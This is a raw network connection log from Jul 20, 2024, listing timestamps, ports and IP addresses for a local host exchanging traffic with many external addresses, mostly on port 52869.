Jul 20, 2024 23:01:05.224139929 CEST	52869	49909	130.47.227.172	192.168.2.14
Jul 20, 2024 23:01:05.224400043 CEST	52869	49909	23.80.210.66	192.168.2.14
Jul 20, 2024 23:01:05.224430084 CEST	52869	49909	193.116.164.76	192.168.2.14
Jul 20, 2024 23:01:05.224457979 CEST	52869	49909	129.246.221.179	192.168.2.14
Jul 20, 2024 23:01:05.224600077 CEST	49909	52869	192.168.2.14	173.42.249.13
Jul 20, 2024 23:01:05.224600077 CEST	49909	52869	192.168.2.14	137.65.44.136
Jul 20, 2024 23:01:05.224600077 CEST	39618	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:05.224860907 CEST	52869	49909	8.61.66.253	192.168.2.14
Jul 20, 2024 23:01:05.224997044 CEST	52869	49909	80.2.14.227	192.168.2.14
Jul 20, 2024 23:01:05.225024939 CEST	52869	49909	25.213.106.157	192.168.2.14
Jul 20, 2024 23:01:05.225052118 CEST	52869	49909	165.160.174.213	192.168.2.14
Jul 20, 2024 23:01:05.225080013 CEST	52869	49909	164.115.1.98	192.168.2.14
Jul 20, 2024 23:01:05.225106001 CEST	52869	49909	222.56.69.190	192.168.2.14
Jul 20, 2024 23:01:05.225718021 CEST	49909	52869	192.168.2.14	209.26.48.88
Jul 20, 2024 23:01:05.225718021 CEST	49909	52869	192.168.2.14	175.84.235.19
Jul 20, 2024 23:01:05.225718021 CEST	49909	52869	192.168.2.14	107.143.209.249
Jul 20, 2024 23:01:05.225718021 CEST	49909	52869	192.168.2.14	99.141.194.61
Jul 20, 2024 23:01:05.225718021 CEST	49909	52869	192.168.2.14	74.36.223.196
Jul 20, 2024 23:01:05.225718021 CEST	49909	52869	192.168.2.14	111.196.49.195
Jul 20, 2024 23:01:05.225718021 CEST	49909	52869	192.168.2.14	104.150.124.246
Jul 20, 2024 23:01:05.225718021 CEST	49909	52869	192.168.2.14	54.134.199.95
Jul 20, 2024 23:01:05.228262901 CEST	49909	52869	192.168.2.14	170.47.209.95
Jul 20, 2024 23:01:05.228262901 CEST	49909	52869	192.168.2.14	210.64.179.3
Jul 20, 2024 23:01:05.228262901 CEST	49909	52869	192.168.2.14	52.117.49.149
Jul 20, 2024 23:01:05.228262901 CEST	49909	52869	192.168.2.14	180.253.214.186
Jul 20, 2024 23:01:05.228262901 CEST	49909	52869	192.168.2.14	54.175.191.239
Jul 20, 2024 23:01:05.228262901 CEST	49909	52869	192.168.2.14	149.76.159.29
Jul 20, 2024 23:01:05.228262901 CEST	49909	52869	192.168.2.14	80.5.244.181
Jul 20, 2024 23:01:05.228262901 CEST	49909	52869	192.168.2.14	187.175.61.217
Jul 20, 2024 23:01:05.228359938 CEST	52869	49909	190.11.73.82	192.168.2.14
Jul 20, 2024 23:01:05.228388071 CEST	52869	49909	42.181.108.76	192.168.2.14
Jul 20, 2024 23:01:05.228416920 CEST	52869	49909	211.238.81.24	192.168.2.14
Jul 20, 2024 23:01:05.228653908 CEST	49909	52869	192.168.2.14	101.175.170.97
Jul 20, 2024 23:01:05.228653908 CEST	49909	52869	192.168.2.14	17.104.43.204
Jul 20, 2024 23:01:05.228655100 CEST	49909	52869	192.168.2.14	170.85.3.51
Jul 20, 2024 23:01:05.228655100 CEST	49909	52869	192.168.2.14	150.236.47.184
Jul 20, 2024 23:01:05.228655100 CEST	49909	52869	192.168.2.14	38.0.88.209
Jul 20, 2024 23:01:05.228655100 CEST	49909	52869	192.168.2.14	76.127.152.234
Jul 20, 2024 23:01:05.228655100 CEST	49909	52869	192.168.2.14	8.189.21.172
Jul 20, 2024 23:01:05.228655100 CEST	49909	52869	192.168.2.14	148.172.88.84
Jul 20, 2024 23:01:05.228760004 CEST	49909	52869	192.168.2.14	123.103.63.152
Jul 20, 2024 23:01:05.228760004 CEST	49909	52869	192.168.2.14	93.201.16.70
Jul 20, 2024 23:01:05.228760004 CEST	49909	52869	192.168.2.14	61.86.108.71
Jul 20, 2024 23:01:05.228760004 CEST	49909	52869	192.168.2.14	112.91.138.36
Jul 20, 2024 23:01:05.228760004 CEST	38702	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:05.229434967 CEST	52869	49909	45.156.173.48	192.168.2.14
Jul 20, 2024 23:01:05.229465008 CEST	52869	49909	133.170.242.124	192.168.2.14
Jul 20, 2024 23:01:05.229494095 CEST	52869	49909	203.165.241.204	192.168.2.14
Jul 20, 2024 23:01:05.229619980 CEST	52869	49909	82.244.171.48	192.168.2.14
Jul 20, 2024 23:01:05.229648113 CEST	52869	49909	139.226.186.104	192.168.2.14
Jul 20, 2024 23:01:05.229676008 CEST	52869	49909	162.49.11.69	192.168.2.14
Jul 20, 2024 23:01:05.229702950 CEST	52869	49909	45.142.21.184	192.168.2.14
Jul 20, 2024 23:01:05.229732037 CEST	52869	49909	124.200.150.194	192.168.2.14
Jul 20, 2024 23:01:05.229759932 CEST	52869	49909	49.165.7.121	192.168.2.14
Jul 20, 2024 23:01:05.229787111 CEST	52869	49909	206.141.206.158	192.168.2.14
Jul 20, 2024 23:01:05.229815006 CEST	52869	49909	123.214.54.164	192.168.2.14
Jul 20, 2024 23:01:05.229841948 CEST	52869	49909	173.104.241.88	192.168.2.14
Jul 20, 2024 23:01:05.229870081 CEST	52869	49909	54.187.113.231	192.168.2.14
Jul 20, 2024 23:01:05.229897022 CEST	52869	49909	4.62.101.190	192.168.2.14
Jul 20, 2024 23:01:05.229916096 CEST	49909	52869	192.168.2.14	65.205.122.129
Jul 20, 2024 23:01:05.229916096 CEST	49909	52869	192.168.2.14	107.74.184.185
Jul 20, 2024 23:01:05.229916096 CEST	49909	52869	192.168.2.14	156.173.62.34
Jul 20, 2024 23:01:05.229916096 CEST	49909	52869	192.168.2.14	204.106.156.191
Jul 20, 2024 23:01:05.229916096 CEST	49909	52869	192.168.2.14	177.219.164.195
Jul 20, 2024 23:01:05.229916096 CEST	49909	52869	192.168.2.14	184.116.202.217
Jul 20, 2024 23:01:05.229916096 CEST	49909	52869	192.168.2.14	170.245.73.71
Jul 20, 2024 23:01:05.229916096 CEST	49909	52869	192.168.2.14	102.128.31.96
Jul 20, 2024 23:01:05.229924917 CEST	52869	49909	73.228.247.97	192.168.2.14
Jul 20, 2024 23:01:05.229950905 CEST	52869	49909	17.144.224.205	192.168.2.14
Jul 20, 2024 23:01:05.229978085 CEST	52869	49909	46.188.92.137	192.168.2.14
Jul 20, 2024 23:01:05.230005026 CEST	52869	49909	182.98.117.77	192.168.2.14
Jul 20, 2024 23:01:05.230031967 CEST	52869	49909	49.188.84.130	192.168.2.14
Jul 20, 2024 23:01:05.230060101 CEST	52869	49909	155.121.79.91	192.168.2.14
Jul 20, 2024 23:01:05.230087996 CEST	52869	49909	8.135.44.238	192.168.2.14
Jul 20, 2024 23:01:05.230114937 CEST	52869	49909	136.251.160.154	192.168.2.14
Jul 20, 2024 23:01:05.230144024 CEST	52869	49909	1.4.58.228	192.168.2.14
Jul 20, 2024 23:01:05.230181932 CEST	52869	49909	27.129.137.213	192.168.2.14
Jul 20, 2024 23:01:05.230210066 CEST	52869	49909	208.29.17.18	192.168.2.14
Jul 20, 2024 23:01:05.230237961 CEST	52869	49909	92.86.36.182	192.168.2.14
Jul 20, 2024 23:01:05.230264902 CEST	52869	49909	173.42.249.13	192.168.2.14
Jul 20, 2024 23:01:05.230292082 CEST	52869	49909	204.109.236.200	192.168.2.14
Jul 20, 2024 23:01:05.230320930 CEST	52869	40752	202.104.226.178	192.168.2.14
Jul 20, 2024 23:01:05.230351925 CEST	52869	49909	75.223.60.203	192.168.2.14
Jul 20, 2024 23:01:05.230776072 CEST	49909	52869	192.168.2.14	82.237.82.114
Jul 20, 2024 23:01:05.230776072 CEST	49909	52869	192.168.2.14	98.254.82.225
Jul 20, 2024 23:01:05.230776072 CEST	49909	52869	192.168.2.14	89.121.35.253
Jul 20, 2024 23:01:05.230776072 CEST	49909	52869	192.168.2.14	220.185.172.253
Jul 20, 2024 23:01:05.230776072 CEST	49909	52869	192.168.2.14	160.31.231.212
Jul 20, 2024 23:01:05.230776072 CEST	49909	52869	192.168.2.14	48.20.196.155
Jul 20, 2024 23:01:05.230776072 CEST	49909	52869	192.168.2.14	113.18.64.233
Jul 20, 2024 23:01:05.230776072 CEST	49909	52869	192.168.2.14	194.10.157.86
Jul 20, 2024 23:01:05.230906010 CEST	49909	52869	192.168.2.14	12.44.95.134
Jul 20, 2024 23:01:05.230906010 CEST	49909	52869	192.168.2.14	69.98.41.133
Jul 20, 2024 23:01:05.230906010 CEST	49909	52869	192.168.2.14	17.252.128.112
Jul 20, 2024 23:01:05.230906010 CEST	49909	52869	192.168.2.14	122.130.154.23
Jul 20, 2024 23:01:05.230906010 CEST	49909	52869	192.168.2.14	128.149.31.129
Jul 20, 2024 23:01:05.230906010 CEST	49909	52869	192.168.2.14	110.140.93.125
Jul 20, 2024 23:01:05.230906963 CEST	49909	52869	192.168.2.14	138.252.99.235
Jul 20, 2024 23:01:05.230906963 CEST	49909	52869	192.168.2.14	41.73.206.231
Jul 20, 2024 23:01:05.231209993 CEST	52869	49909	37.86.161.63	192.168.2.14
Jul 20, 2024 23:01:05.231240034 CEST	52869	49909	84.2.220.44	192.168.2.14
Jul 20, 2024 23:01:05.231267929 CEST	52869	49909	116.87.201.8	192.168.2.14
Jul 20, 2024 23:01:05.231307030 CEST	49909	52869	192.168.2.14	137.107.74.73
Jul 20, 2024 23:01:05.231307030 CEST	49909	52869	192.168.2.14	189.80.222.3
Jul 20, 2024 23:01:05.231307030 CEST	49909	52869	192.168.2.14	2.28.150.184
Jul 20, 2024 23:01:05.231307030 CEST	49909	52869	192.168.2.14	123.115.170.166
Jul 20, 2024 23:01:05.231307030 CEST	49909	52869	192.168.2.14	87.152.58.47
Jul 20, 2024 23:01:05.231307030 CEST	49909	52869	192.168.2.14	118.136.112.166
Jul 20, 2024 23:01:05.231307030 CEST	49909	52869	192.168.2.14	35.124.75.46
Jul 20, 2024 23:01:05.231307030 CEST	49909	52869	192.168.2.14	106.202.176.87
Jul 20, 2024 23:01:05.231367111 CEST	52869	49909	198.178.223.150	192.168.2.14
Jul 20, 2024 23:01:05.231785059 CEST	52869	49909	109.210.97.19	192.168.2.14
Jul 20, 2024 23:01:05.231813908 CEST	52869	49909	192.90.104.28	192.168.2.14
Jul 20, 2024 23:01:05.231903076 CEST	52869	49909	137.65.44.136	192.168.2.14
Jul 20, 2024 23:01:05.232379913 CEST	52869	49909	162.5.136.13	192.168.2.14
Jul 20, 2024 23:01:05.232609987 CEST	52869	49909	73.3.59.158	192.168.2.14
Jul 20, 2024 23:01:05.233014107 CEST	52869	49909	211.136.74.160	192.168.2.14
Jul 20, 2024 23:01:05.233052969 CEST	49909	52869	192.168.2.14	99.77.74.64
Jul 20, 2024 23:01:05.233052969 CEST	49909	52869	192.168.2.14	201.86.215.2
Jul 20, 2024 23:01:05.233052969 CEST	49909	52869	192.168.2.14	196.220.181.241
Jul 20, 2024 23:01:05.233052969 CEST	49909	52869	192.168.2.14	159.93.50.47
Jul 20, 2024 23:01:05.233052969 CEST	49909	52869	192.168.2.14	151.83.152.171
Jul 20, 2024 23:01:05.233052969 CEST	49909	52869	192.168.2.14	142.1.131.54
Jul 20, 2024 23:01:05.233052969 CEST	49909	52869	192.168.2.14	18.193.212.35
Jul 20, 2024 23:01:05.233275890 CEST	52869	49909	176.35.15.154	192.168.2.14
Jul 20, 2024 23:01:05.233750105 CEST	52869	49909	199.204.179.140	192.168.2.14
Jul 20, 2024 23:01:05.234210014 CEST	52869	49909	118.153.189.16	192.168.2.14
Jul 20, 2024 23:01:05.234425068 CEST	52869	49909	82.101.77.8	192.168.2.14
Jul 20, 2024 23:01:05.234648943 CEST	52869	49909	119.47.251.212	192.168.2.14
Jul 20, 2024 23:01:05.234900951 CEST	49909	52869	192.168.2.14	95.101.166.25
Jul 20, 2024 23:01:05.234900951 CEST	49909	52869	192.168.2.14	54.56.111.12
Jul 20, 2024 23:01:05.234900951 CEST	49909	52869	192.168.2.14	75.80.140.31
Jul 20, 2024 23:01:05.234900951 CEST	49909	52869	192.168.2.14	141.76.104.108
Jul 20, 2024 23:01:05.234900951 CEST	49909	52869	192.168.2.14	45.42.50.87
Jul 20, 2024 23:01:05.234900951 CEST	49909	52869	192.168.2.14	153.226.105.79
Jul 20, 2024 23:01:05.234900951 CEST	49909	52869	192.168.2.14	176.156.248.68
Jul 20, 2024 23:01:05.234900951 CEST	49909	52869	192.168.2.14	212.96.217.71
Jul 20, 2024 23:01:05.235291958 CEST	52869	49909	52.95.130.222	192.168.2.14
Jul 20, 2024 23:01:05.235321045 CEST	52869	49909	170.47.209.95	192.168.2.14
Jul 20, 2024 23:01:05.235347986 CEST	52869	49909	203.21.243.102	192.168.2.14
Jul 20, 2024 23:01:05.235853910 CEST	52869	49909	180.0.141.149	192.168.2.14
Jul 20, 2024 23:01:05.235882998 CEST	52869	49909	210.64.179.3	192.168.2.14
Jul 20, 2024 23:01:05.235912085 CEST	52869	49909	194.167.152.12	192.168.2.14
Jul 20, 2024 23:01:05.235944986 CEST	52869	49909	88.173.128.24	192.168.2.14
Jul 20, 2024 23:01:05.235971928 CEST	52869	49909	219.38.201.206	192.168.2.14
Jul 20, 2024 23:01:05.236205101 CEST	52869	49909	65.205.122.129	192.168.2.14
Jul 20, 2024 23:01:05.236531973 CEST	52869	49909	82.237.82.114	192.168.2.14
Jul 20, 2024 23:01:05.236561060 CEST	52869	49909	98.254.82.225	192.168.2.14
Jul 20, 2024 23:01:05.236964941 CEST	8081	58476	158.9.61.147	192.168.2.14
Jul 20, 2024 23:01:05.237131119 CEST	52869	49909	52.117.49.149	192.168.2.14
Jul 20, 2024 23:01:05.237206936 CEST	52869	49909	107.74.184.185	192.168.2.14
Jul 20, 2024 23:01:05.237235069 CEST	52869	49909	220.5.187.87	192.168.2.14
Jul 20, 2024 23:01:05.237437963 CEST	52869	49909	123.103.63.152	192.168.2.14
Jul 20, 2024 23:01:05.237895966 CEST	52869	49909	177.103.155.193	192.168.2.14
Jul 20, 2024 23:01:05.237925053 CEST	52869	49909	93.201.16.70	192.168.2.14
Jul 20, 2024 23:01:05.237951994 CEST	52869	49909	161.83.3.216	192.168.2.14
Jul 20, 2024 23:01:05.238348961 CEST	49909	52869	192.168.2.14	39.58.238.111
Jul 20, 2024 23:01:05.238348961 CEST	49909	52869	192.168.2.14	206.184.34.8
Jul 20, 2024 23:01:05.238348961 CEST	49909	52869	192.168.2.14	194.110.136.139
Jul 20, 2024 23:01:05.238348961 CEST	49909	52869	192.168.2.14	88.183.140.149
Jul 20, 2024 23:01:05.238348961 CEST	49909	52869	192.168.2.14	101.101.177.227
Jul 20, 2024 23:01:05.238348961 CEST	49909	52869	192.168.2.14	99.74.140.118
Jul 20, 2024 23:01:05.238348961 CEST	49909	52869	192.168.2.14	115.123.167.73
Jul 20, 2024 23:01:05.238348961 CEST	49909	52869	192.168.2.14	31.17.169.183
Jul 20, 2024 23:01:05.238756895 CEST	49909	52869	192.168.2.14	121.225.239.95
Jul 20, 2024 23:01:05.238756895 CEST	49909	52869	192.168.2.14	141.13.4.15
Jul 20, 2024 23:01:05.238756895 CEST	49909	52869	192.168.2.14	194.182.45.188
Jul 20, 2024 23:01:05.238756895 CEST	49909	52869	192.168.2.14	150.82.37.128
Jul 20, 2024 23:01:05.238758087 CEST	49909	52869	192.168.2.14	222.86.131.224
Jul 20, 2024 23:01:05.238758087 CEST	49909	52869	192.168.2.14	217.173.214.214
Jul 20, 2024 23:01:05.238758087 CEST	49909	52869	192.168.2.14	221.10.21.219
Jul 20, 2024 23:01:05.238758087 CEST	49909	52869	192.168.2.14	71.51.84.164
Jul 20, 2024 23:01:05.238909960 CEST	52869	49909	61.86.108.71	192.168.2.14
Jul 20, 2024 23:01:05.239042044 CEST	52869	49909	99.77.74.64	192.168.2.14
Jul 20, 2024 23:01:05.239072084 CEST	52869	49909	112.91.138.36	192.168.2.14
Jul 20, 2024 23:01:05.239844084 CEST	80	38702	88.105.31.235	192.168.2.14
Jul 20, 2024 23:01:05.240385056 CEST	52869	49909	180.253.214.186	192.168.2.14
Jul 20, 2024 23:01:05.240497112 CEST	49909	52869	192.168.2.14	190.175.252.103
Jul 20, 2024 23:01:05.240497112 CEST	49909	52869	192.168.2.14	168.91.72.122
Jul 20, 2024 23:01:05.240497112 CEST	49909	52869	192.168.2.14	223.30.103.200
Jul 20, 2024 23:01:05.240497112 CEST	49909	52869	192.168.2.14	191.53.247.251
Jul 20, 2024 23:01:05.240497112 CEST	49909	52869	192.168.2.14	150.198.0.215
Jul 20, 2024 23:01:05.240497112 CEST	49909	52869	192.168.2.14	130.92.74.165
Jul 20, 2024 23:01:05.240497112 CEST	49909	52869	192.168.2.14	122.219.221.216
Jul 20, 2024 23:01:05.240497112 CEST	49909	52869	192.168.2.14	82.74.233.231
Jul 20, 2024 23:01:05.240539074 CEST	52869	49909	89.121.35.253	192.168.2.14
Jul 20, 2024 23:01:05.240951061 CEST	52869	49909	12.44.95.134	192.168.2.14
Jul 20, 2024 23:01:05.240979910 CEST	52869	49909	54.175.191.239	192.168.2.14
Jul 20, 2024 23:01:05.241007090 CEST	52869	49909	156.173.62.34	192.168.2.14
Jul 20, 2024 23:01:05.241298914 CEST	49909	52869	192.168.2.14	203.63.85.231
Jul 20, 2024 23:01:05.241298914 CEST	49909	52869	192.168.2.14	5.194.209.170
Jul 20, 2024 23:01:05.241298914 CEST	49909	52869	192.168.2.14	163.13.117.218
Jul 20, 2024 23:01:05.241298914 CEST	49909	52869	192.168.2.14	192.82.118.48
Jul 20, 2024 23:01:05.241298914 CEST	49909	52869	192.168.2.14	192.77.254.47
Jul 20, 2024 23:01:05.241298914 CEST	49909	52869	192.168.2.14	68.173.91.82
Jul 20, 2024 23:01:05.241298914 CEST	49909	52869	192.168.2.14	187.248.23.226
Jul 20, 2024 23:01:05.241298914 CEST	49909	52869	192.168.2.14	77.32.128.37
Jul 20, 2024 23:01:05.241393089 CEST	52869	49909	149.76.159.29	192.168.2.14
Jul 20, 2024 23:01:05.241421938 CEST	52869	49909	220.185.172.253	192.168.2.14
Jul 20, 2024 23:01:05.241713047 CEST	49909	52869	192.168.2.14	138.224.141.153
Jul 20, 2024 23:01:05.241713047 CEST	49909	52869	192.168.2.14	185.35.82.87
Jul 20, 2024 23:01:05.241713047 CEST	49909	52869	192.168.2.14	132.246.189.237
Jul 20, 2024 23:01:05.241713047 CEST	49909	52869	192.168.2.14	47.100.129.241
Jul 20, 2024 23:01:05.241713047 CEST	49909	52869	192.168.2.14	141.35.51.88
Jul 20, 2024 23:01:05.241713047 CEST	49909	52869	192.168.2.14	34.7.111.142
Jul 20, 2024 23:01:05.241713047 CEST	49909	52869	192.168.2.14	212.156.7.166
Jul 20, 2024 23:01:05.241713047 CEST	49909	52869	192.168.2.14	72.106.64.142
Jul 20, 2024 23:01:05.241739035 CEST	52869	49909	69.98.41.133	192.168.2.14
Jul 20, 2024 23:01:05.241767883 CEST	52869	49909	160.31.231.212	192.168.2.14
Jul 20, 2024 23:01:05.241795063 CEST	52869	49909	17.252.128.112	192.168.2.14
Jul 20, 2024 23:01:05.242070913 CEST	52869	49909	204.106.156.191	192.168.2.14
Jul 20, 2024 23:01:05.242100000 CEST	52869	49909	48.20.196.155	192.168.2.14
Jul 20, 2024 23:01:05.242345095 CEST	52869	49909	177.219.164.195	192.168.2.14
Jul 20, 2024 23:01:05.242858887 CEST	37215	55814	197.198.173.107	192.168.2.14
Jul 20, 2024 23:01:05.242887020 CEST	52869	49909	80.5.244.181	192.168.2.14
Jul 20, 2024 23:01:05.242957115 CEST	52869	49909	113.18.64.233	192.168.2.14
Jul 20, 2024 23:01:05.242986917 CEST	52869	49909	122.130.154.23	192.168.2.14
Jul 20, 2024 23:01:05.243139982 CEST	52869	49909	184.116.202.217	192.168.2.14
Jul 20, 2024 23:01:05.243657112 CEST	49909	52869	192.168.2.14	117.32.12.180
Jul 20, 2024 23:01:05.243657112 CEST	49909	52869	192.168.2.14	88.32.200.137
Jul 20, 2024 23:01:05.243657112 CEST	49909	52869	192.168.2.14	102.208.143.105
Jul 20, 2024 23:01:05.243657112 CEST	49909	52869	192.168.2.14	54.152.9.207
Jul 20, 2024 23:01:05.243657112 CEST	49909	52869	192.168.2.14	93.203.238.143
Jul 20, 2024 23:01:05.243657112 CEST	49909	52869	192.168.2.14	193.154.34.23
Jul 20, 2024 23:01:05.243657112 CEST	49909	52869	192.168.2.14	63.136.55.109
Jul 20, 2024 23:01:05.243657112 CEST	49909	52869	192.168.2.14	84.6.23.49
Jul 20, 2024 23:01:05.244142056 CEST	80	36456	88.101.188.49	192.168.2.14
Jul 20, 2024 23:01:05.244170904 CEST	52869	49930	147.70.92.77	192.168.2.14
Jul 20, 2024 23:01:05.244198084 CEST	49909	52869	192.168.2.14	65.224.60.0
Jul 20, 2024 23:01:05.244198084 CEST	49909	52869	192.168.2.14	143.20.96.195
Jul 20, 2024 23:01:05.244198084 CEST	49909	52869	192.168.2.14	91.135.107.72
Jul 20, 2024 23:01:05.244198084 CEST	49909	52869	192.168.2.14	163.215.112.219
Jul 20, 2024 23:01:05.244198084 CEST	49909	52869	192.168.2.14	54.50.184.64
Jul 20, 2024 23:01:05.244198084 CEST	49909	52869	192.168.2.14	165.44.179.73
Jul 20, 2024 23:01:05.244198084 CEST	49909	52869	192.168.2.14	13.2.67.215
Jul 20, 2024 23:01:05.244199038 CEST	49909	52869	192.168.2.14	187.118.22.161
Jul 20, 2024 23:01:05.244306087 CEST	52869	49909	187.175.61.217	192.168.2.14
Jul 20, 2024 23:01:05.244335890 CEST	52869	49909	128.149.31.129	192.168.2.14
Jul 20, 2024 23:01:05.244364023 CEST	52869	49909	194.10.157.86	192.168.2.14
Jul 20, 2024 23:01:05.244393110 CEST	52869	49909	39.58.238.111	192.168.2.14
Jul 20, 2024 23:01:05.244421959 CEST	52869	49909	121.225.239.95	192.168.2.14
Jul 20, 2024 23:01:05.244448900 CEST	52869	49909	206.184.34.8	192.168.2.14
Jul 20, 2024 23:01:05.244849920 CEST	80	56778	88.217.70.97	192.168.2.14
Jul 20, 2024 23:01:05.244906902 CEST	52869	49909	110.140.93.125	192.168.2.14
Jul 20, 2024 23:01:05.245142937 CEST	52869	49909	194.110.136.139	192.168.2.14
Jul 20, 2024 23:01:05.245171070 CEST	52869	49909	141.13.4.15	192.168.2.14
Jul 20, 2024 23:01:05.245198011 CEST	52869	49909	138.252.99.235	192.168.2.14
Jul 20, 2024 23:01:05.245508909 CEST	52869	49909	41.73.206.231	192.168.2.14
Jul 20, 2024 23:01:05.245821953 CEST	8081	49200	156.190.124.56	192.168.2.14
Jul 20, 2024 23:01:05.246867895 CEST	52869	49909	170.245.73.71	192.168.2.14
Jul 20, 2024 23:01:05.246925116 CEST	52869	49909	190.175.252.103	192.168.2.14
Jul 20, 2024 23:01:05.246952057 CEST	52869	49909	102.128.31.96	192.168.2.14
Jul 20, 2024 23:01:05.247016907 CEST	52869	49909	88.183.140.149	192.168.2.14
Jul 20, 2024 23:01:05.247471094 CEST	52869	49909	168.91.72.122	192.168.2.14
Jul 20, 2024 23:01:05.247499943 CEST	52869	49909	194.182.45.188	192.168.2.14
Jul 20, 2024 23:01:05.247526884 CEST	52869	49909	223.30.103.200	192.168.2.14
Jul 20, 2024 23:01:05.247617006 CEST	49909	52869	192.168.2.14	92.130.153.45
Jul 20, 2024 23:01:05.247617006 CEST	49909	52869	192.168.2.14	34.220.144.49
Jul 20, 2024 23:01:05.247617006 CEST	49909	52869	192.168.2.14	74.156.104.185
Jul 20, 2024 23:01:05.247617006 CEST	36128	52869	192.168.2.14	44.96.234.78
Jul 20, 2024 23:01:05.247617006 CEST	55682	8081	192.168.2.14	34.242.74.202
Jul 20, 2024 23:01:05.247617960 CEST	46340	80	192.168.2.14	88.145.169.141
Jul 20, 2024 23:01:05.247617960 CEST	49909	52869	192.168.2.14	5.18.26.251
Jul 20, 2024 23:01:05.247617960 CEST	49909	52869	192.168.2.14	190.30.191.40
Jul 20, 2024 23:01:05.248147964 CEST	49909	52869	192.168.2.14	9.248.234.30
Jul 20, 2024 23:01:05.248147964 CEST	49909	52869	192.168.2.14	137.248.186.235
Jul 20, 2024 23:01:05.248147964 CEST	49909	52869	192.168.2.14	85.36.171.153
Jul 20, 2024 23:01:05.248147964 CEST	49909	52869	192.168.2.14	17.175.93.213
Jul 20, 2024 23:01:05.248147964 CEST	49909	52869	192.168.2.14	125.50.30.108
Jul 20, 2024 23:01:05.248147964 CEST	49909	52869	192.168.2.14	137.144.101.139
Jul 20, 2024 23:01:05.248147964 CEST	49909	52869	192.168.2.14	174.69.17.138
Jul 20, 2024 23:01:05.248147964 CEST	49909	52869	192.168.2.14	5.165.26.70
Jul 20, 2024 23:01:05.248423100 CEST	80	39618	88.105.31.235	192.168.2.14
Jul 20, 2024 23:01:05.249111891 CEST	49909	52869	192.168.2.14	182.204.223.220
Jul 20, 2024 23:01:05.249111891 CEST	49909	52869	192.168.2.14	24.230.38.202
Jul 20, 2024 23:01:05.250488997 CEST	52869	49909	138.224.141.153	192.168.2.14
Jul 20, 2024 23:01:05.250562906 CEST	52869	49909	101.101.177.227	192.168.2.14
Jul 20, 2024 23:01:05.251914978 CEST	49909	52869	192.168.2.14	190.131.44.221
Jul 20, 2024 23:01:05.251914978 CEST	49909	52869	192.168.2.14	207.53.125.175
Jul 20, 2024 23:01:05.251914978 CEST	49909	52869	192.168.2.14	125.117.237.225
Jul 20, 2024 23:01:05.251914978 CEST	49909	52869	192.168.2.14	132.158.137.174
Jul 20, 2024 23:01:05.251914978 CEST	49909	52869	192.168.2.14	145.183.202.158
Jul 20, 2024 23:01:05.251914978 CEST	49909	52869	192.168.2.14	84.186.250.185
Jul 20, 2024 23:01:05.251914978 CEST	49909	52869	192.168.2.14	44.25.16.192
Jul 20, 2024 23:01:05.251914978 CEST	49909	52869	192.168.2.14	128.30.26.97
Jul 20, 2024 23:01:05.252139091 CEST	52869	49909	150.82.37.128	192.168.2.14
Jul 20, 2024 23:01:05.252177000 CEST	49909	52869	192.168.2.14	163.77.173.189
Jul 20, 2024 23:01:05.252177000 CEST	49909	52869	192.168.2.14	14.89.209.38
Jul 20, 2024 23:01:05.252177000 CEST	49909	52869	192.168.2.14	70.16.125.168
Jul 20, 2024 23:01:05.252177000 CEST	49909	52869	192.168.2.14	149.150.32.230
Jul 20, 2024 23:01:05.252177000 CEST	49909	52869	192.168.2.14	14.158.123.84
Jul 20, 2024 23:01:05.252177000 CEST	49909	52869	192.168.2.14	43.143.72.41
Jul 20, 2024 23:01:05.252177000 CEST	49909	52869	192.168.2.14	222.221.53.178
Jul 20, 2024 23:01:05.252177000 CEST	49909	52869	192.168.2.14	37.139.55.150
Jul 20, 2024 23:01:05.252763987 CEST	52869	49909	99.74.140.118	192.168.2.14
Jul 20, 2024 23:01:05.252979994 CEST	49909	52869	192.168.2.14	41.13.90.104
Jul 20, 2024 23:01:05.252979994 CEST	49909	52869	192.168.2.14	45.173.118.222
Jul 20, 2024 23:01:05.252979994 CEST	49909	52869	192.168.2.14	130.128.150.52
Jul 20, 2024 23:01:05.252979994 CEST	49909	52869	192.168.2.14	205.185.253.173
Jul 20, 2024 23:01:05.252979994 CEST	49909	52869	192.168.2.14	167.88.206.32
Jul 20, 2024 23:01:05.252979994 CEST	49909	52869	192.168.2.14	164.30.58.110
Jul 20, 2024 23:01:05.252979994 CEST	49909	52869	192.168.2.14	195.53.44.101
Jul 20, 2024 23:01:05.252979994 CEST	49909	52869	192.168.2.14	91.191.27.147
Jul 20, 2024 23:01:05.253611088 CEST	49909	52869	192.168.2.14	147.178.187.202
Jul 20, 2024 23:01:05.253611088 CEST	49909	52869	192.168.2.14	159.145.255.132
Jul 20, 2024 23:01:05.253611088 CEST	49909	52869	192.168.2.14	139.252.193.220
Jul 20, 2024 23:01:05.253611088 CEST	34388	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:05.253611088 CEST	34388	52869	192.168.2.14	34.37.107.29
Jul 20, 2024 23:01:05.253611088 CEST	50246	37215	192.168.2.14	197.138.28.9
Jul 20, 2024 23:01:05.253611088 CEST	37892	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:05.253918886 CEST	52869	49909	115.123.167.73	192.168.2.14
Jul 20, 2024 23:01:05.254503965 CEST	52869	49909	191.53.247.251	192.168.2.14
Jul 20, 2024 23:01:05.254667997 CEST	46346	52869	192.168.2.14	141.25.137.192
Jul 20, 2024 23:01:05.254667997 CEST	41780	37215	192.168.2.14	157.232.183.8
Jul 20, 2024 23:01:05.254667997 CEST	49909	52869	192.168.2.14	156.165.173.53
Jul 20, 2024 23:01:05.254667997 CEST	49909	52869	192.168.2.14	140.207.89.61
Jul 20, 2024 23:01:05.254667997 CEST	49909	52869	192.168.2.14	66.210.181.64
Jul 20, 2024 23:01:05.254667997 CEST	49909	52869	192.168.2.14	209.242.179.8
Jul 20, 2024 23:01:05.254810095 CEST	52869	49909	31.17.169.183	192.168.2.14
Jul 20, 2024 23:01:05.254870892 CEST	49909	52869	192.168.2.14	137.227.134.172
Jul 20, 2024 23:01:05.254870892 CEST	49909	52869	192.168.2.14	131.218.169.242
Jul 20, 2024 23:01:05.254872084 CEST	49909	52869	192.168.2.14	93.19.63.134
Jul 20, 2024 23:01:05.254872084 CEST	49909	52869	192.168.2.14	105.138.238.17
Jul 20, 2024 23:01:05.254872084 CEST	49909	52869	192.168.2.14	71.8.205.69
Jul 20, 2024 23:01:05.254872084 CEST	49909	52869	192.168.2.14	139.165.69.159
Jul 20, 2024 23:01:05.254872084 CEST	49909	52869	192.168.2.14	213.20.111.13
